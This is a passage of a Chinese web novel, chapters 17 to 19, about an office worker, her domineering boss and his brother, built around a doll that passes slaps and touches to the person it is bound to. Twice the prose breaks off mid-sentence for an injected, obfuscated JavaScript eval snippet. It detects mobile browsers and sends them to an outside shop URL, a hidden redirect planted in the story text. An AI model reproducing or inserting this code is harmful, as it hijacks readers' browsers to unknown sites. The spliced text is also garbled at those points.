“我这样会不会对其他人不公平?”她终于因为良心过意不去,选择在家里偷偷去找了他。 沈决远换好衣服准备出门,禁欲高贵的西装遮住了他性张力拉满的身材:“你这个组长职位是新加上去的,没什么实质性的权力。顶多是工资条上的数字会长一点。不会影响到任何人。” 池溪内心微微一惊,所以他是知道自己这段时间为了多赚点加班费,每天会故意在公司待到很晚? 沈决远戴上眼镜,见她还站在那里不动:“还有事?” 池溪磨磨蹭蹭地问他:“你....什么时候回来?” 她知道他要回北欧,她来的时候看到了停机坪上的私人飞机,上面的舷梯放了下来,机组人员正在登机。 “不清楚,可能要待一周。怎么?” 池溪按捺住高兴,摇了摇头:“没什么,就是问问。” 耶斯! 终于可以放心地看漫画和小说了! 最近总因为担心类似的剧情会在自己身上上演,池溪甚至不敢看以前爱看的那种重口漫。 什么囚禁捆绑强制爱。 漫画看看还行,真发生在现实里就得抓紧报警跑路了。 沈决远写下一个号码递给她:“这是我在海外的联系方式,国内的号码不一定每次都能打通,你有什么事情打这个号码就行。” 池溪接过之后点了点头:“好的。” 沈决远在离开之前抱了她一下:“在家听话一点。” 她被迫埋在他鼓囊囊的胸口,愣愣地眨了眨眼睛。 这种诡异的大乃人夫感从何而来? “好..好的,我会听话的。” 沈决远回北欧的这段时间,池溪偶尔能收到他发的信息,通常都是晚上。 像一句敷衍的关心。 ——在做什么? 正在备战考研的池溪回:在房间里学习呢(●''?''●)。 ——嗯。我书房靠窗边的那排书架有一本梵高的画册,你看一下还在不在。 沈决远的书房门不会刻意反锁,家里的人都有这个觉悟,不会在未经他允许的前提下擅自进入。 池溪拿着手机推开他书房的门,在窗边那排书架找了好久都没找到。 最后还是在第二排距离房门更近的书架上看到的。 “找到了。”她说。 沈决远问:“怎么找这么久。” 她带了点怨怼:“因为根本不在窗户旁边,所以我多找了一会儿才找到/(ㄒoㄒ)/~~ ——嗯,那应该是我记错了。放回去吧。 看着屏幕上的五个字,池溪眼睛都睁大了。 ???? 这就没了? 刚找到就让她放回去,那她找书的意义在哪里呢? 怪人。 沈决远不在的这段时间,郑伯母彻底化身成了职业红娘,她仍旧没有放弃给沈决远寻找一个适合他的妻子。 池溪心想,他已经不是处男了,在相亲市场会大打折扣吧? 很快,郑伯母笑眯眯地说,池溪和司桥年纪也不小了,不能再拖。 池溪喝着奶油蘑菇汤,总觉得郑伯母的笑里暗含深意。 池溪搬到沈决远隔壁之后,沈司桥就很少再去打扰她。 池溪想,沈家所有人似乎都非常畏惧沈决远。 当然,她也是。 只不过让池溪没想到的是,沈决远刚回北欧,沈司桥就钻上空子来找她。 看着来她房间像回自己家的沈司桥,池溪后悔自己最近因为心软,没有再对那个娃娃实施‘酷刑’ 她想,等沈司桥走后她立马将丢在抽屉里的娃娃拿出来狂揍一顿。 那个长着和沈司桥一样贱男人脸的娃娃,池溪根本就不想看到。 沈司桥刚进到她的房间,神色就变得意味深长起来。 “你怎么来了.....”池溪抿了抿唇,心里的复仇计划想的慷慨激昂,最后还是窝囊地问他喝什么。 “可乐。”他说。 池溪打开冰箱,努力找了找,可惜没能找到超过保质期的。 知道沈司桥喜欢喝百事,她特地递给他一瓶可口可乐。但沈司桥这次什么也没说,接过之后就随手放在了一边。 沈司桥一言不发,看这个架势就知道来者不善。 池溪有些怵得慌,最后还是决定去拿手机。 电话拨通的前一秒手机被沈司桥抽走。 “为什么要给我哥打电话,难道现在已经是可以和他撒娇告状的关系了吗?”他看着通讯录点开的联络人。话里带着一如既往的嘲弄。 池溪真的没见过比他更该死的男人:“如果你再来打扰我,我可以给他打电话。这是他说的。” “池溪,你是不是以为我哥说几句哄你的话,你就真的以为自己能够上位成功?我不是告诉过你吗,我哥是不可能看上你的。” 池溪抿了抿唇:“那也是我的事情,和你没关系。” 他不屑一顾的冷笑:“当然和我没关系,难道你觉得我会在意你的事情吗,还是说,你认为我是在给你忠告?我只是在教你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17066541|194198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认清自己,你....” ——啪。 这次是直截了当的一巴掌,没有多此一举的通过娃娃来报复他。而是面对面地扇了他一耳光。 积攒已久的怒气让这一巴掌的力道很大,大到掌心都被震麻了。沈司桥的脸被扇到偏向一边。 他的喉结上下起伏,呼吸也明显变得急促起来。 这种熟悉的感觉... 熟悉的痛感和香味。 ...... “就是你对吧?”沈司桥眉头皱紧,抓住她的手腕言辞激动,“最近缠着我的那个‘女鬼’是你对吧?” “什...什么?”池溪愣住了。他什么时候这么聪明了? 不是沈司桥聪明,而是他被这只手扇了太多次耳光,身体甚至形成了某种肌肉记忆。 比起疼痛,最先到来的是那股熟悉的香味。 熟悉到让他开始上瘾的香味。 “你既然已经和我哥在一起了,为什么还要纠缠我?”他目光阴沉,咄咄逼人的追问她。 靠啊,谁纠缠他了?池溪觉得自己背上一沉,那口锅不知道什么时候就扣上来了。 “是你自己自作多情了,我根本就没有.....”她刚要解释。 沈司桥打断她:“所以你是怎么做到的,你老家还教人下蛊?” “我没有.....”下蛊。 沈司桥根本不给她说话的机会:“你真以为你和你那个凤凰男亲爹一样‘好命’吗。你与其做一样的豪门梦,还不如好好和他请教一下,他当初是怎么勾搭别人的。” 该死的。 池溪憋了一肚子火:“我根本就....” “你不要以为我哥是真的看上你了。”他毫不留情的讥笑,“他从来不用便宜货,我也是。” 池溪气到语无伦次:“你才是......”便宜货。 池溪的火根本发不出来,因为沈司桥这个混蛋压根不给她说话的机会。他全程像在自说自话。 “所以你到底想怎么样?和我哥暧昧不清的同时还要勾搭我?” “你该不会自我感觉良好,以为把我哥和我耍的团团转?你了解我哥吗?你只有被他玩弄的份,他会把你最后一点价值榨干,然后当成垃圾一样扔掉。” “我明白了,你是在给自己找退路?”他眼眸促狭地眯起,黑色机车服加深了他玩世不恭的特质,他唇角微勾,上下打量她,“你想让我当接盘侠?池溪,你把自己当什么了,天仙吗?” 他漫不经心的笑了,语气吊儿郎当的:“不过既然你这么喜欢我,那我不介意当一回小三。” 直到最后,池溪都没能成功说完一句话。 她不清楚这段对话的结局走向为什么会这么诡异。 为什么沈司桥会从自说自话的嘲讽演变成主动要当她的小三。 他平复好自己的情绪:“你最好把我藏好点,如果被我哥发现这一切,我和你都会玩完。” 她甚至连开口拒绝的机会都没有。 她什么时候要找小三了? 神经病,被她扇巴掌扇坏了脑子? “谁要你当我的小三?”她终于找到说话的机会。 沈司桥磨了磨后槽牙:“所以呢,你为什么会看上我哥?” 池溪想,人的窝囊是会触底反弹的,她不耐烦地反驳他:“因为我喜欢他,喜欢是不需要理由的。” 沈司桥用力地咬了咬牙,他倒是符合他刚给自己安排的新身份。脸上不仅有小三的不甘,还有小三想要上位的急切:“如果你是因为我哥在那方面比较强...我可以去入珠,就算我没我哥粗没我哥长,我可以后天努力。” “.....” 池溪刚要开口。 敲门声打断了这一切。 她知道门外是沈决远,虽然对方除了敲门之外并没有发出任何声音。 这种敲两下就停的从容,整个家里也只有沈决远才会有。 她脑子里陡然响起四个字。 ——正宫抓奸。 她又想起沈司桥刚才的话:——如果被我哥发现这一切,我和你都会玩完。 虽然她什么也没做,但又有一种她什么都做了的心虚和胆怯。 她心虚地过去将房门打开,不出所料,站在外面的就是沈决远。 他一身裁剪凌厉的意大利手工定制黑色西装,浅蓝细条纹衬衫,黑色哑光质感的领带一丝不苟。宽肩与内收的腰身形成极具性张力的完美倒三角。 身上那种锋利的压迫感像是一把收入绒鞘的匕首,带着克制收敛的强势与侵略感。 “您...您什么时候回来的?”池溪稍显心虚地询问。 “刚到。”沈决远看到玄关处的男士球鞋。 他漫不经心地收回视线,将外套脱了。 与她的外套挨着,挂在了旁边的衣帽架上。 他一边卷着衬衫袖口,一边脚步从容地往里面走:“最近过得怎么样?” 池溪抿了抿唇,心虚地往角落的衣柜看了一眼。 “挺..挺好的。您想喝什么,不过我家里什么也没有了,要不我请您去外面喝吧,有一家新开的咖啡厅很不错,我记得是叫.....”池溪假模假样的拿出手机。 沈决远淡声打断她:“桌上不是有吗。” 池溪顺着他的视线看过去。 ——她给沈司桥拿的那瓶可乐。 更心虚了。 “呃....”她伸手摸鼻子,又去摸后颈,“这个是我打算给自己喝的,我记得您不爱喝这种含糖的饮料。这样吧,我给您点个外卖吧。” “不用了。”沈决远婉拒了她的好意,“我只是过来看看,待会还要去公司。” “这样啊。”她松了一口气。 虽然池溪主动为他拉开了椅子,但男人并没有落座。而是松弛地靠站在那张书桌旁,轻声告诉她:“你父亲的竞选结束了。” “什么?”池溪愣住。 她这个反应让沈决远略微垂眸:“你不知道?” 她摇头,愣愣的:“没人和我说.....” 沈决远:“你父亲落选了,以五票之差的距离。” 不止落选。他在这次竞选中得罪了不少人,已经有人开始着手调查他的税务问题。 池溪一直以为爸爸这次的竞选十拿九稳,毕竟所有人都这么认为,包括他本人。 那现在意味着什么?他会出事吗? 池溪咬了咬唇,倒也不是她圣母心泛滥,对待一个抛弃自己的人也有恻隐之心。 而是..面对这种事情她很难做到无动于衷。 “会有什么后果吗?”她还是忍不住,小心翼翼地问出口。 沈决远站直身体,从那张书桌前离开。 她房间里的一切东西对他来说都很小。无论是书桌还是衣柜。 甚至是她的床。倘若他躺上去,身体也无法舒展。 “如果税务没有问题,他们会查财务造假,查安全违规。直到查出有问题为止。”他的脚步闲适,薄底皮鞋踩在地板上的声音沉闷而厚重,朝那排嵌入式衣柜走去。 最后无比精准地停在沈司桥藏身的那扇柜门前。 男人双手插放西裤口袋,量身裁剪的西装马甲和衬衫的搭配,让他上半身的肌肉线条更加明晰。西裤下的长腿修长笔直。 像一尊冷酷高贵的黑曜石雕像。 “除非你父亲有这个自信,没有做过任何违法违规的事情。毕竟有些东西就算藏的再好,还是会露出破绽。”他伸手拉开柜门,“不论是税务,还是男人。” 18.第十八章 池溪最害怕发生的事情还是发生了。 柜门打开的瞬间,沈司桥从里面滚了出来,甚至将衣柜内的衣服也带出了一部分。 房内的灯并没有全部打开,只有靠近床侧的壁灯开了一两盏。昏黄复古的灯盏,总能让池溪联想到自己曾经看过的一些美剧。 她很喜欢可见度低的灯光所带来的那种暧昧不清的氛围感。 可是现在,她却因为这种氛围感而陷入一种无边的恐惧之中。 衣柜距离床有一段距离,显然是灯光无法顾及到的地方。 沈决远站在那里,高大的身形完全压制着躺在地上的沈司桥。沈司桥此时被笼罩在他巨大的阴影当中,抿了抿唇,在面对他哥时,全然没了平时的玩世不恭。 他从地上站起来:“哥.....” 沈决远并没有不分青红皂白就去质问他们。 而是不紧不慢地点燃一支烟克制住情绪,非常包容地给了他解释的机会。 在某种意义上,他的确是个好哥哥,好床伴。 连抽烟的动作都如此优雅:“说吧,为什么会在这里。” 池溪硬着头皮想解释,但沈决远用眼神示意她先闭上嘴。 他的眼神淡而平静,没有丝毫的威胁,池溪还是被吓到不敢开口。 沈司桥一副视死如归的神情,艰难地表明自己的立场:“哥,我不会破坏你们的感情。” 比起沈司桥,沈决远淡定的仿佛置身事外。 他气定神闲地掸了掸烟灰:“哦,你想怎么做?” “我....”像是下定决心,沈司桥屈辱地说,“我愿意...一周只来找她两次,您没空的时候我再....” 对沈司桥来说,这的确是一种屈辱。 池溪的眼睛都瞪大了。她什么时候说过同意他当自己的小三了?现在连出轨这种事情都不需要当事人同意了吗,小三单方面就可以决定了? 但窝囊废池溪现在一句话也不敢说,她就像是一个无能的丈夫,等待强势的妻子替她出面解决这件事。 沈决远没有说话,池溪庆幸他高大强悍的躯体被遮蔽在禁欲清冷的西装之中,否则他们此刻能够感受到的压迫感肯定是现在的百倍千倍。 最近北城的天气一直都很差,要么是下雪,要么就是下大雨。今天这场雨更是从早上下到了现在。 按理说这个天气不适合起飞,不过那架强悍的湾流g700可以在这场风暴中平稳降落。 一如沈决远这个人,无论是在面对大事小事,他永远一副置身事外的优雅从容:“你是说,你是心甘情愿去当别人的第三者?” 沈司桥点了点头。 池溪还是第一次发现名震北城的沈二少也有这么局促的时候,他甚至不敢看他哥的眼睛。 说话也是在看别的地方:“更何况当第三者也没什么不好的,只要她愿意,她愿意就行....” “她愿意?”男人的声音很平淡。 话是对着沈司桥说的,阴沉的眼神却看向了池溪。 北欧人的骨相比国人深邃立体,这是由于地域环境影响造成的,人体为了抵御寒冷,所以演化出了更加立体的轮廓。 看似轻描淡写的眼神,实则带着让人无法抗拒的强势震慑力和压迫感。池溪摇头,想要反驳:“我没有...” “对,她愿意。”沈司桥却突然在此时上演一副罗密欧与朱丽叶,梁山伯与祝英台的戏码,而沈决远,俨然就是那个拆散他们的强大阻力,“她愿意的,我甚至和她说好要去入珠,我为了她可以.....” “你知道你在说什么吗。”沈决远实在听不下去了,他眉头紧锁,全然失了刚才的典雅淡定。扔掉手中的烟,掐着沈司桥的脖子将他按在身后的墙上。 以长辈的口吻厉声批评他,“你怎么这么不知廉耻?” 他高大的身形和强大的气场所带来的压迫感实在太可怕,屋子里的温度仿佛也因为他的态度骤变而迅速降低。 沈司桥被掐到说不出话,不敢反抗也没能力反抗。 沈司桥迟钝地察觉到,他哥这番话里,不止是长辈的批评,还有一种更为复杂且无法被看透的情绪。 如果他真的想对自己做点什么,沈司桥想,自己一丁点的反抗能力也没有。 不论是压他一头的身高,还是密度更强的肌肉,抑或是可怕的力量感。 那只掐着自己脖子的手,甚至只要稍微用点力,自己可能就会当场殒命了。 手臂绷起的肌肉线条和青筋慢慢淡去,在沈司桥觉得自己眼前的景色因为缺氧而逐渐变黑时,沈决远松开了手。他显然已经平复好心情,重新恢复到以往的温润端方。 刚才的确是他有所失态。 有那么一瞬间居然真的想要掐死自己这个同父异母的弟弟。 沈决远将领带整理好:“你先出去吧。” 沈司桥却不放心地看了一眼池溪。池溪不清楚这个吊儿郎当的二世祖为什么突然开始关心她:“池溪她.....” 沈决远一个眼神就让沈司桥闭上了嘴。他从他哥的眼神里看到了警告,很显然,这已经是他最后的耐心了。 即使心里再不情愿,沈司桥还是一步三回头地出了门。 他脚上穿着那双池溪拿给他的室内拖鞋, 这是她房间内唯一一双多余的拖鞋。沈司桥离开时甚至忘了将鞋子换回来。 沈决远不动声色地垂眸,看到他脚上和池溪同款的拖鞋,以及那双还放着门口玄关处的男士运动鞋。他眼眸沉了沉,将那双碍眼的鞋子踢了出去,然后用力地关上房门。 池溪在那一刻想的居然是,皮鞋果然比运动鞋更有男人味。 但很快,她就没有这种多余的念头了。 因为为她分担主要注意力的沈司桥走了之后,就只剩下她和沈决远在这里独处。 她结结巴巴地开口:“我觉得..我被仙人跳了。” 沈决远没有理会她,而是泰然自若地在这个房间里走了一遍,他的目光扫视过房间的每一个角落,没有错过任何一个细节。 整齐的床铺,干净的落地玻璃,没有使用过的浴室,甚至连地板都是干燥柔软的。 池溪告诉他自己是冤枉的:“他突然就进来了,说了一大堆我配不上你的话,然后又自说自话的说愿意当我的小三,甚至不给我拒绝的机会,我只要开口就会被他打断。” 她以为沈决远生气是因为她‘勾引’他的弟弟。 池溪心里清楚,郑伯母和沈伯父都很担心她会和沈司桥在一起。 她之前觉得他们的担忧非常莫须有,因为她和沈司桥绝无可能。 没想到一切都是有迹可循的,沈司桥那个纨绔居然真的喜欢她..... 他被伯父伯母宠坏了,是这北城出了名的二世祖,在中央大街撒钱造成交通瘫痪,飙车撞到人,读书时更是霸凌同学,把人家逼到退学险些自杀。 除了那张人模狗样的好皮囊之外,可以说是一无是处。 这样的人,池溪怎么可能会动心。 就算是当小三也轮不到他。 - 晚餐时间,沈决远语气淡漠地宣布了沈司桥的未来:“后天我会安排人将他送去法国,那里有一所全封闭式学校,我认为会很适合他。” 法国?全封闭式的学校? 郑娴一听这话急了:“怎么能去法国呢,想学习国内就可以。而且司桥已经毕业了。” 沈决远淡定地品尝盘中鹿肉,挺直的脊背和优雅的举动,哪怕是简单的切割鹿肉的动作,都显得尤为赏心悦目:“他的个性再不加以约束,迟早会闯出大祸。那所学校的创办人是我的朋友,我有参与投资,关于他的安全问题完全可以放心。” 郑娴心疼儿子,怎么可能愿意他去那种地方,而且全封闭式,谁知道他在里面过的好不好。 但对于这位继子,她实在没有和他过多交流的勇气,只能将求助的目光投向自己的丈夫。 沈予亨也觉得这个做法多有不妥。就算真的要继续上学,国内这么多所好学校,为什么非得去法国那么远。 “决远,你看这....” 他甚至来不及说完一句话,便被沈决远礼貌地打断,他放下刀叉,拿餐巾擦嘴:“我既然做出这个决定,说明经过了长久考虑。您希望他的未来耗在法国学校内,还是在葬送在中国的监狱里?” 他这一番话彻底堵死了沈予亨接下来要说的所有话。 他自然清楚自己这个小儿子是个什么品行,这一切都因为他们的溺爱导致。 而这一次,他的溺爱改变不了什么。 他不止清楚自己小儿子的品行,也了解自己的长子是个怎样说一不二的强势性格。 一旦是他做好的决定,没有任何人可以改变。 沈司桥始终一言不发,池溪也是低头吃饭。 饭桌上,气氛凝固到有些诡异。 沈决远的视线偶尔会落在池溪的身上,她全程都是安静地吃着饭,似乎担心闹出一点细微的动静就会让沈决远注意到她。 然后将她也一起打包扔去法国,去读那个所谓的封闭式学校。 她的沉默也让沈决远握紧了刀叉。 沈司桥还是走了。 走之前池溪没能和他见上最后一面,她庆幸没有和他见上最后一面。 她这几天满脑子都是沈司桥拉开上衣让她去看自己胸口那两个乳钉的画面。 是的,在说服自己给她当小三之后,沈司桥献祭一般地拉开了自己的上衣。 他说这两个乳钉是为了她特地去打的:“我知道你喜欢男人的胸。” 池溪当场就愣住了:“我什么时候.....” 所以在沈决远进来的时候,她才会如此慌乱。这种感觉就像是他们真的做了什么苟且的事情一样。 她不知道的是,在离开之前,沈决远亲自去送了沈司桥。 他以兄长的口吻让他到了那边要听话,他会根据老师对他的评价来决定什么时候接他回来。 面对他哥,沈司桥全然没了平时的二世祖模样。 一反常态的乖巧,点头:“我知道了。” 沈决远关心他:“最近还会闻到那股熟悉的香味吗?” 沈司桥心里一阵触动,虽然想到了池溪,但还是摇头:“没有了。” 闻言,兄长的表情似乎缓和了一些。 沈司桥在登机前,兄长问了他最后一个问题。 “这段时间里,会有被人抱着的错误感觉吗?” 这是一个有些奇怪的问题,沈司桥摇头:“除了经常被扇巴掌之外,没有别的感觉了。” 他不知道自己这个回答有什么精妙之处。 但兄长第一次对他露出了微笑。 “一路顺风。” 这让沈司桥受宠若惊。 - 池溪担心的事情没有发生,沈决远没有将她也一起送去法国。 这几天她只要有空了就会给沈决远发消息解释——我真的是冤枉的。 ——我和沈司桥根本就没有那种关系。 ——那你给我的奖励会收回去吗(???︿???) 最后这句话才是她关心的。 好不容易涨了工资,不想这么快又降回来。 不过发出去的消息宛如石沉大海,迟迟没有等来回复。 唯一庆幸的是,提心吊胆的等了几天,并没有等到人事部的降职提醒。 反而是部长,一大早过来,将那份策划案重新递给她:“拿回去修改。” 池溪伸手接过,早就习以为常。 但听说策划案被董事长亲自卡回来的时候,她的的确确愣了好一会儿。 不是吧,能交给她负责的策划案能是什么大项目,怎么还被递到董事长面前去了。 难道是他为了故意给自己使绊子? 不怪池溪会这么想,沈决远是出了名的挑剔,公司上下的员工哪个不是像怕鬼一样怕他。 “沈董是不是对你有什么不满?”就连微微也察觉到不对劲。虽然普通员工和董事长这种身份的人扯上关系非常的无稽之谈,但这段时间的种种事情不得不让人感到困惑。 这是池溪转正后第一次独立完成的方案,一个很小的项目。 好比五万的房子和五千万的区别。 这点不值一提的的利润甚至连部长都不会亲自过目,却被递到了董事长面前,最后被董事长打回来重做。 这意味着什么,意味着用五万的价值来达成五千万的标准。 池溪咬了咬牙,有点不爽。 看来沈决远这个臭男人并没有她想象中的大度,他这是在责怪她勾引了他弟弟,还是在责怪她‘劈腿’? 池溪不由得想起前天,沈决远来到她的房间找她。 她觉得很诡异。 那个情节出自于她最近看的一部食之无味弃之可惜的漫画。 作为论坛的资深发帖人,池溪经常会给刚加入论坛的萌新分享漫画,以及上传熟肉链接。 ——这部漫画的画风很美,男主的身材斯哈斯哈,剧情一般。喜欢边控的可以吃一口。但我不是很喜欢,讨厌这种被吊的虚无感。强高才是永远的神,有这口饭的可以推荐给我,摩多摩多! 池溪想,就算娃娃没有换绑定人,就算沈决远照常会被控制。 但为什么她明确表明了不喜欢的剧情也会在自己身上上演。 她真的很讨厌来到爆发边缘,然后对方故意不给的控制。 她蹭着床面,表情痛苦。 “今天就先到这里,我还有工作需要处理。” 男人从容抽身,甚至体贴入微地替她把被子盖好。 双眼失神的池溪抱着他替自己盖被子的手臂不肯松开:“再留一会吧.....我马上就好,还差一点点.....” 她双手合抱,他身上的那件衬衫,袖口早就卷至小臂,用袖箍固定住。肉眼可见的肌肉线条,将那条禁欲的袖箍撑到绷紧。 更别提是一览无余的小臂。 手臂上的青筋给她蹭一蹭都行。 沈决远无动于衷替她将灯关了:“早点休息。” 他起身,池溪看着他开门离开的背影。宽厚的背阔肌让衬衫没有一点松垮的痕迹,就连高贵笔挺的西装马甲也到了严丝合缝的地步。 剧情走向和那部她不怎么喜欢的漫画一样。 池溪躺在床上,感受着和漫画里女主角一样的虚无情绪。 被抛到云端又突然放任不管。 贱男人。 回想起这一幕,此时抱着全是批改痕迹的策划书,再次勾起了池溪对这位冷酷冷血且绝情的该死上司的怨恨。 - 母亲的葬礼定在圣诞节,耶稣诞生日。 这是母亲自己的要求,她生前一直信奉基督教。每年给教堂捐赠的善款让她拥有了无数虔诚的信徒。他们纷纷写信寄到达根州,希望可以去参加这位善良且有大爱的女性的葬礼。 事实上,沈决远并不明白这群人为什么要因为一个从未见过面的陌生人而流泪。 但他还是按照母亲生前的遗愿,同意了这些接受过捐赠的人前来参加葬礼。 今天这场会议是在一座独立的小岛上进行,这几位商业伙伴得知他在守孝期,为了表示对这位贵客的重视,每个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17074338|194198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人都在手臂上佩戴着一块黑布。 即使知道,国外可能并没有这个礼节。 长达两个小时的商业会谈,在与外界完全封闭的这座小岛上周密地宣告了结束。 安德鲁邀请他去放松下身体,在这座享乐之岛上。 他无法提前摸清这位年轻上位者在那方面有什么癖好。 唯一可以调查到的信息就是他的中文名。 此时漫不经心地抽着雪茄,拉夫劳伦的针织衫随意地套在衬衫外面,下身是休闲的棕色长裤,整个人松弛又随性。只从穿着就可以看出他对今天这场会议的不重视。 镜片下的眼眸平静如水,雪茄燃烧时升起的烟雾让他本就喜怒不显的神情更加难懂。 安德鲁按照不同的风格,给沈决远准备了这次的一夜情伴侣。 但沈决远似乎没有这方面的需求。 安德鲁想,或许他早就脱离了□□之欢带来的低级趣味了。 他的野心大到想要吞下整个地球。 与其说是合作,但他心里清楚,沈决远正在一点一点‘吃掉’他的产业。 可对方的高明之处就在于,即使心里清楚,自己的产业正在被他吞并,或许不久后安德鲁的名字就会以破产企业家的头衔出现在报纸上。 但他仍旧心甘情愿地和对方保持稳定的合作关系。 安德鲁认为面前这个男人的可怕之处就在于,他会不动声色的从思想上驯服你,让你变得忠心,渴望获得他的认可。 即使这份认可的代价是让自己的巨额资产全部亏损。 当那股熟悉的香味再次出现时,意兴阑珊的沈决远微微坐直身子。他的视线先是在室内搜寻了一圈,然后才确信这股味道的来源。 廉价刺鼻的香味,他忘了自己究竟有多久没有闻到过了。 安德鲁注意到沈决远平淡的神情出现波澜,以为他是来了兴致,他立马殷勤开口:“我让玛莎进来?她是俄罗斯模特。” 安德鲁知道,这位中欧混血的男士,他在挪威长大,喜好与审美肯定更贴近挪威当地的习性。 俄罗斯与北欧接壤,那种立体深邃的完美骨相脸,以及火辣高挑的身材,肯定会让沈决远满意。 他这种生活在冰原,狼性很足的男人,往往更喜欢难以驯服的女性。 安德鲁绝非是种族歧视,但他觉得中国女性脾气好的占据大多数,她们太有礼貌了,并且都很矜持。 以沈决远这种看似冰冷漠然,实则追求刺激的人来说,他肯定喜欢更火辣的。 ——啪 伴随轻微的声响,男人微微侧头,鼻梁上的半框眼镜甚至被打歪了一些。 安德鲁站在那里,愣住了。 刚才是他的错觉吗,为什么他会认为...沈决远被空气扇了一巴掌? 挨打的当事人却无比从容,他慢条斯理地扶正眼镜,冰冷镜片下,他的眼神没有任何怒意,有的只是藏在平静下,克制后的淡淡兴奋。 “你先出去吧。”他摘了眼镜,语气一如既往的平稳,淡漠。 “那玛莎.....”安德鲁迟疑, 沈决远:“祝你有个美妙的夜晚。” 他似乎有些急切,希望对方能赶紧离开。 所以多余的话一句也不想说,以这句轻描淡写的话拒绝了他接下来的所有示好。 好吧,看来他还是不愿意让他的精-液留在这座小岛上。 安德鲁离开了,没有继续打扰他的独处。 池溪怀着怒气重新把娃娃绑定在沈决远的身上。 然后将娃娃当成沈决远殴打一通之后,发现除了自己累点之外,该解的气并没有解多少。 还是得乖乖修改策划案。 其实最近这段时间她一有空就会去买娃娃的那个天桥晃悠,试图找到那个卖给她娃娃的摊主。 这个东西在某种意义上就像是一个定时炸弹。它似乎没办法恢复出厂设置,必须得在找到新的绑定人之后,才能解除前面的绑定人。 并且这个娃娃还不能扔掉。 万一被不知情的人捡去了怎么办? 被垃圾车收走才是最可怕的。她听说被运到垃圾场的东西都会经过反复的压缩处理。 池溪无法想象人体会拥有怎样的痛感。 啊!这不行那也不行,那她应该怎么办! 池溪沉浸在痛苦中,没注意到那瓶香水还放在桌上忘了收起来。 之前的用完了,她又约了朋友去店里按照相同的配方diy了几瓶一样的香水。 虽然沈决远傲慢的点评这股味道很廉价,但池溪喜欢。 放在桌上的香水被她不小心弄倒,全洒了,甚至有一些洒在了娃娃身上。池溪皱着眉,一波未平一波又起。 她痛苦地从床上起身,现在又多出一项给娃娃洗澡的工程。 严格意义上讲,这是她购入这只娃娃这么久,第一次给它洗澡。 按照网上清理bjd的教程,先脱掉娃娃的衣服,然后拿出海绵轻轻擦拭。 娃娃的关节是可以活动的,她需要仔细到角落也不能放过,否则污渍会藏在缝隙处。 她捏着娃娃的腿轻轻朝前移动,直到娃娃的膝关节露出来,她用小刷子一点一点的扫去有可能存在的灰尘。 看来娃娃不止是脸会像被绑定人,身材也是.... 池溪感兴趣地伸手戳了戳娃娃鼓囊囊的胸肌,真不知道他是怎么练的。工作这么忙也有时间去健身房。 她一直很好奇,他的双开门宽肩究竟能不能侧躺着睡。还有他平时穿裤子的时候是放在哪边。男人的西裤藏着那么一大坨都不会觉得羞耻吗? 大街上却总能遇到对着不穿bra的女性指指点点的人。真是不公平。 沈决远在北美,和这边十三小时的时差。就算他工作再晚,这个点肯定也休息了。 池溪并不担心她在给娃娃做清洁的时候,大洋彼岸的沈决远会有感觉。 毕竟他有时候会依靠安眠药来进入睡眠状态。 然而这位本该靠安眠药进入睡眠的男士,却在她思考这些问题的时候给她发来了信息。 是一句类似关心的询问。 “怎么还不休息?” 可透过冰冷的文字,她分不清是关心还是质问。 他怎么知道她还没睡? 池溪拿着手机四处看了看,他应该...不至于在她的房间安装监控。 “就要睡了。”她说。 或许是为了掩饰自己的心虚,她甚至还发了一个无比可爱的表情包。 ——一只可爱的萌萌兔裹着被子躺在床上滚来滚去。 消息发过去后,手机便一直处在无信息状态。 对于池溪这种习惯秒回消息的人来说,等待对方的信息是一件很痛苦的事情。 她抱着手机不满地嘟囔,被她萌晕过去了吗? 她刚要把手机放下,震动声提醒她有新消息进入。 是沈决远。 ——方便接视频吗。 “啊?”她愣住,下意识看了眼镜子,刚洗完澡的她头发处在半干状态,素面朝天的那张脸因为前几天通宵打游戏而显得苍白憔悴。 实在是有点不堪入目,尤其是沈决远这么挑剔的完美主义,虽然以他的绅士礼仪和教养不会当面指责她外形的‘邋遢’。 但池溪不希望自己在他心目中留下个不好的印象。毕竟她也只有这张脸还算的上精彩了。 她想拒绝,一行字才打了一半,甚至来不及发送。——还是别..... 对话框弹出一条新信息。 是一条邀请: ——要不要看我扌鲁 19.第十九章 池溪盯着这六个字看了很久很久,她甚至以为是自己最近黄漫看太多,出现了错觉。 直到她放下手机洗了脸,又揉了揉眼睛,重新去确认屏幕上的消息。 那六个字依然没有变化。 她终于确定自己没有看错。 于是,她的情绪迅速进入了一级警备状态。 这意味着...意味着什么呢? 意味着事情正在朝着不受她控制的情况发展。 所以这是什么意思呢,被盗号了?新型诈骗?回复就会被转走银行卡里所有的余额? 开什么玩笑,她从小就接受防诈骗宣传,学校甚至还设定了专门的课程,每周都会上一节,手机更是安装了反诈骗app。 怎么可能上这么蠢的当。 ——要看^>??<^>^> 对方的视频过了几分钟才拨通过来,这给了池溪整理自己的时间。 她大部分时间都是素颜,今天罕见地涂了个唇蜜。 饱满的花瓣唇上,滋润的唇蜜让她的唇珠看上去更加莹润。 “这样,可以吗?” 